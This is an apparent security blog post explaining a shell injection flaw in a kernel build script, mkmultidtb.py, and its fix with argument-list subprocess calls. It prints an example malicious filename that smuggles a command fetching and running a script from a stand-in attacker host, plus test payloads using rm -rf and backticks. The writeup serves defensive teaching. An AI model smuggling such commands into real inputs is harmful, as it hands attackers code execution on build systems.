Back to Blog
critical SEVERITY7 min read

Shell Injection in mkmultidtb.py: How String Concatenation with os.system() Enabled Arbitrary Code Execution

A critical shell injection vulnerability in `scripts/mkmultidtb.py` allowed attackers to execute arbitrary commands during the kernel build process by injecting shell metacharacters into device tree binary (DTB) filenames. The vulnerability was caused by using `os.system()` with string concatenation instead of proper subprocess argument handling. This fix migrates to `subprocess.run()` with argument lists, eliminating the attack surface entirely.

O
By Orbis AppSec
Published June 2, 2026Reviewed June 2, 2026

Answer Summary

This is a **shell injection vulnerability** (CWE-78: OS Command Injection) in Python's `mkmultidtb.py` build script. The vulnerability occurs when DTB filenames are concatenated directly into shell commands passed to `os.system()`, allowing attackers to inject shell metacharacters like `;` or backticks to execute arbitrary commands. The fix replaces `os.system()` with `subprocess.run()` using argument lists instead of shell strings, which prevents the shell from interpreting metacharacters in filenames.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixReplace os.system() with subprocess.run() using argument lists; replace string concatenation with list append operations
riskRemote code execution during kernel build process; supply chain attack vector
languagePython
root causeUsing os.system() with unsanitized filename concatenation instead of parameterized subprocess calls
vulnerabilityOS Command Injection via shell metacharacter injection

Shell Injection in mkmultidtb.py: How String Concatenation with os.system() Enabled Arbitrary Code Execution

The Discovery: A Dangerous Pattern in Kernel Build Scripts

In the scripts/mkmultidtb.py file—a critical component of the kernel build process—a dangerous security pattern was discovered. The script constructs shell commands using string concatenation with device tree binary (DTB) filenames, then executes them via os.system(). This seemingly innocent approach created a critical OS command injection vulnerability that could allow attackers to execute arbitrary commands during the kernel build process.

The vulnerability is particularly dangerous because kernel build scripts are often part of supply chain infrastructure. An attacker who can influence DTB filenames (through compromised source repositories, malicious pull requests, or crafted build artifacts) could inject shell metacharacters to execute malicious code with the privileges of the build system.

Understanding the Vulnerability

The Vulnerable Code Pattern

Let's examine the problematic code from scripts/mkmultidtb.py (lines 48-51 in the original):

target_dtb_list = ''  # String accumulation
# ... loop that builds the list ...
target_dtb_list += ' ' + new_file  # String concatenation

# VULNERABLE: Direct shell command with concatenated filenames
os.system('scripts/resource_tool logo.bmp logo_kernel.bmp ' + target_dtb_list)
os.system('rm ' + target_dtb_list)

The vulnerability manifests in two ways:

  1. Line 50: target_dtb_list is a string built by concatenating filenames with spaces
  2. Lines 51-52: These strings are directly concatenated into shell commands and passed to os.system()

How the Attack Works

The os.system() function in Python invokes the system shell (/bin/sh on Unix-like systems) to interpret and execute the command string. When the shell parses this string, it treats special characters as metacharacters:

  • ; — Command separator (execute multiple commands)
  • ` — Command substitution (execute command and use output)
  • $() — Command substitution (modern syntax)
  • | — Pipe (redirect output to another command)
  • & — Background execution
  • >, < — Redirection

Exploitation Scenario: An attacker who can control DTB filenames in the build directory could craft a filename like:

rk3399-sapphire.dtb; curl attacker.com/malware.sh | bash; echo

When this filename is concatenated into the command string and passed to os.system(), the shell would execute:

scripts/resource_tool logo.bmp logo_kernel.bmp rk3399-sapphire.dtb; curl attacker.com/malware.sh | bash; echo

The shell interprets the ; as a command separator, executing the curl command as a separate command in the same shell context. This gives the attacker arbitrary code execution with the privileges of the build process.

Real-World Impact

For a kernel build system, this vulnerability enables:

  • Supply chain compromise: Injecting malicious code into kernel builds
  • Build system takeover: Executing commands as the build user (often with elevated privileges)
  • Artifact tampering: Modifying compiled binaries before deployment
  • Lateral movement: Using build system access to compromise other infrastructure

The regression test included in the PR demonstrates the exact attack vectors:

@pytest.mark.parametrize("payload", [
    # Exact exploit case: shell metacharacter injection
    "dtb; rm -rf /tmp/pwned; echo",
    # Boundary case: backtick command substitution
    "dtb`touch /tmp/injected`",
    # Valid input: normal DTB filename
    "rk3399-sapphire.dtb",
])
def test_mkmultidtb_no_shell_injection(payload, tmp_path):
    """Invariant: mkmultidtb.py must not execute injected shell commands
    embedded in DTB filenames passed as arguments."""

The Fix: Replacing os.system() with subprocess.run()

The fix addresses the root cause by eliminating shell interpretation entirely. Instead of passing command strings to the shell, the corrected code uses subprocess.run() with argument lists, where each argument is treated as a literal string.

Before (Vulnerable)

target_dtb_list = ''
# ... loop ...
target_dtb_list += ' ' + new_file

print(target_dtb_list)
os.system('scripts/resource_tool logo.bmp logo_kernel.bmp ' + target_dtb_list)
os.system('rm ' + target_dtb_list)

After (Fixed)

import subprocess

target_dtb_list = []  # List instead of string
# ... loop ...
target_dtb_list.append(new_file)  # Append instead of concatenate

print(' '.join(target_dtb_list))
subprocess.run(['scripts/resource_tool', 'logo.bmp', 'logo_kernel.bmp'] + target_dtb_list, check=True)
for f in target_dtb_list:
    os.remove(f)  # Use os.remove() instead of shell rm command

Why This Fix Works

1. Argument List Instead of String Concatenation

By passing arguments as a list to subprocess.run(), Python handles the argument passing directly to the subprocess without invoking a shell. This means:

  • Shell metacharacters in filenames are treated as literal characters
  • A filename like rk3399; malicious.dtb is passed as a single argument, not interpreted by the shell
  • The subprocess receives exactly what was intended: a filename string

2. No Shell Interpretation

The key difference:

# VULNERABLE: Shell interprets the string
os.system('rm ' + 'file; malicious_command')
# Shell sees: rm file; malicious_command
# Shell executes: rm file AND malicious_command

# SAFE: Subprocess passes arguments directly
subprocess.run(['rm', 'file; malicious_command'])
# Subprocess receives: rm "file; malicious_command"
# Only tries to remove a file literally named "file; malicious_command"

3. Explicit Error Handling

The check=True parameter in subprocess.run() ensures that if the subprocess fails, an exception is raised. This is safer than os.system(), which returns an exit code that developers might ignore.

4. Replacement of Shell Commands

For the rm command, the fix uses Python's os.remove() function directly:

# Before: Shell command
os.system('rm ' + target_dtb_list)

# After: Direct Python API
for f in target_dtb_list:
    os.remove(f)

This eliminates the shell entirely for file removal operations.

Security Invariant Verification

The PR includes a comprehensive regression test that verifies the security invariant: "mkmultidtb.py must not execute injected shell commands embedded in DTB filenames passed as arguments."

The test checks three cases:

  1. Semicolon injection: dtb; rm -rf /tmp/pwned; echo
  2. Backtick substitution: dtbtouch /tmp/injected``
  3. Valid input: rk3399-sapphire.dtb

For injection payloads, the test creates a sentinel file that would only exist if the injected command executed. With the fix in place, the sentinel file is never created—proving that injected commands are not executed.

Prevention & Best Practices

1. Never Use os.system() with Untrusted Input

The Python documentation explicitly warns against os.system() for security-sensitive operations. Replace it with subprocess.run() or subprocess.Popen().

Rule: If you're tempted to use os.system() with string concatenation, use subprocess.run() with a list instead.

2. Use Argument Lists, Not Shell Strings

# ❌ UNSAFE
subprocess.run('command arg1 arg2', shell=True)

# ✅ SAFE
subprocess.run(['command', 'arg1', 'arg2'])

3. Validate Filenames (Defense in Depth)

While subprocess argument lists eliminate shell injection, validating filenames adds an extra layer:

import os
import re

def validate_dtb_filename(filename):
    """Allow only alphanumeric, dash, underscore, and .dtb extension"""
    if not re.match(r'^[a-zA-Z0-9_-]+\.dtb$', filename):
        raise ValueError(f"Invalid DTB filename: {filename}")
    return filename

4. Use Static Analysis Tools

Integrate security scanning into your CI/CD pipeline:

  • Bandit: Python security linter that detects os.system() usage
  • Semgrep: Code scanning tool with rules for command injection patterns
  • Commercial SAST: Tools like SonarQube, Checkmarx, or Fortify

Example Bandit detection:

$ bandit -r scripts/
>> Issue: [B605:start_process_with_a_shell] starting a process with a shell: Possible security issue.
   Severity: HIGH   Confidence: MEDIUM
   Location: scripts/mkmultidtb.py:51

5. Review Build Scripts Regularly

Build scripts are high-value targets for supply chain attacks. Treat them with the same security rigor as production code:

  • Code review all changes to build scripts
  • Restrict write access to build infrastructure
  • Monitor for suspicious filename patterns in build artifacts
  • Implement build artifact signing and verification

6. CWE and OWASP References

This vulnerability maps to:

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
  • OWASP Top 10 (2021) A03: Injection
  • OWASP Top 10 (2021) A08: Software and Data Integrity Failures (supply chain context)

Key Takeaways

  1. Never concatenate untrusted input into shell commands: The target_dtb_list string concatenation in mkmultidtb.py created an attack surface that subprocess argument lists eliminate entirely.

  2. Prefer subprocess.run() over os.system(): Modern Python code should use subprocess with argument lists, which bypasses shell interpretation and prevents metacharacter injection.

  3. Build scripts are critical infrastructure: The kernel build process is a supply chain touchpoint. Vulnerabilities here can compromise all downstream systems that use the compiled kernel.

  4. Regression tests guard against reintroduction: The test case in this PR (test_mkmultidtb_no_shell_injection) ensures that future maintainers cannot accidentally reintroduce this vulnerability through refactoring.

  5. Defense in depth is essential: While subprocess argument lists are the primary defense, validating filenames and using static analysis tools provide additional security layers.

Conclusion

The shell injection vulnerability in mkmultidtb.py demonstrates how a simple coding pattern—string concatenation with os.system()—can create a critical security breach. The fix is straightforward: replace os.system() with subprocess.run() using argument lists, and replace shell commands with Python APIs where possible.

For developers working on build scripts, kernel code, or any system-level tooling, this vulnerability serves as a reminder to treat user-controlled input (including filenames) with suspicion. Always use language features and APIs that prevent shell interpretation, validate input as a secondary measure, and integrate static analysis into your development workflow.

The kernel build process is a critical link in the supply chain. By fixing this vulnerability, we've strengthened the security posture of systems that depend on secure, trustworthy kernel builds.


References:
- Python subprocess documentation
- CWE-78: OS Command Injection
- OWASP Command Injection
- Bandit Security Linter
- Semgrep Security Rules

Frequently Asked Questions

What is OS Command Injection?

OS Command Injection (CWE-78) occurs when untrusted input is concatenated into shell commands and executed via functions like os.system() or shell=True in subprocess. The shell interprets special characters (;, |, &, `, $()) as command separators, allowing attackers to inject arbitrary commands.

How do you prevent OS Command Injection in Python?

Use subprocess.run() or subprocess.Popen() with argument lists (not shell strings), avoid os.system() entirely, never use shell=True with untrusted input, and validate/sanitize filenames if shell execution is unavoidable. The safest approach is to pass arguments as a list: subprocess.run(['command', 'arg1', 'arg2']).

What CWE is this vulnerability?

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). This is one of the most critical injection vulnerabilities and appears in the OWASP Top 10 and CWE Top 25.

Is input validation enough to prevent OS Command Injection?

No. While validation helps, it's insufficient because attackers can find edge cases. The proper fix is to avoid shell interpretation entirely by using subprocess with argument lists, which treats all arguments as literal strings regardless of special characters.

Can static analysis detect this vulnerability?

Yes. The multi_agent_ai scanner that flagged this issue uses pattern matching to detect os.system() calls with string concatenation. Static analysis tools like Bandit, Semgrep, and commercial SAST platforms reliably detect this pattern.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #25

Related Articles

critical

Critical Shell Injection in autoban.py: How os.system() Opened a Root Shell

A critical shell injection vulnerability in `autoban.py` allowed attackers to execute arbitrary commands as root on OpenWrt routers by crafting malicious connection data containing shell metacharacters. The fix replaces a dangerous `os.system(cmd)` call with `os.fork()` + `os.execvp()`, eliminating shell interpretation entirely. This change ensures that IP addresses extracted from network connections can never be used to inject arbitrary shell commands, even if they contain semicolons, pipes, ba

high

Shell Injection via Unsafe String Concatenation in PaddleOCR Deployment

A high-severity vulnerability was discovered in PaddleOCR's deployment configuration where model download URLs were specified using unencrypted `http://`, exposing users to man-in-the-middle attacks that could allow an attacker to intercept and replace model files with malicious ones. The fix upgrades all model download URLs to use `https://`, ensuring encrypted transmission and integrity of the downloaded files. This change is a critical security baseline for any application that downloads bina

critical

Command Injection via os.system() in DeepSpeed's Data Analyzer: A Critical Fix

A critical command injection vulnerability was discovered in DeepSpeed's `data_analyzer.py`, where an `os.system()` call directly interpolated an unsanitized file path variable into a shell command string. An attacker who could influence dataset configuration or file paths could execute arbitrary shell commands on the host machine. The fix replaces the dangerous shell invocation with safe, Python-native file operations that never touch a shell interpreter.

high

Shell Injection via Unsafe String Concatenation in gRPC Command Generation

A high-severity shell injection vulnerability was discovered in `src/RtlJaguarDevice.cpp`, where user-controlled values from API responses were directly interpolated into gRPCurl command strings without proper shell escaping. An attacker who controls API response data could inject shell metacharacters, causing arbitrary command execution when a user pastes and runs the generated command. The fix applies proper shell escaping to all user-controlled values before they are included in command strin

high

Shell Injection via Unsafe String Concatenation in CXLMemSim gRPCurl Commands

A high-severity shell injection vulnerability was discovered and patched in a distributed server's gRPCurl command generation logic, where user-controlled values from API responses were directly interpolated into shell command strings without proper escaping. An attacker who can influence API response data — such as headers, endpoints, or payloads — could inject shell metacharacters that execute arbitrary commands when a user pastes and runs the generated command. This fix eliminates the risk by

critical

How unsafe buffer copying happens in C credential storage and how to fix it

A critical vulnerability in `lib/server.c` allowed attackers to trigger out-of-bounds memory reads when copying credentials via unsafe `memcpy()` calls. By replacing `memcpy()` with bounds-safe `strlcpy()`, the fix ensures credentials are safely stored without buffer overruns or null-termination issues.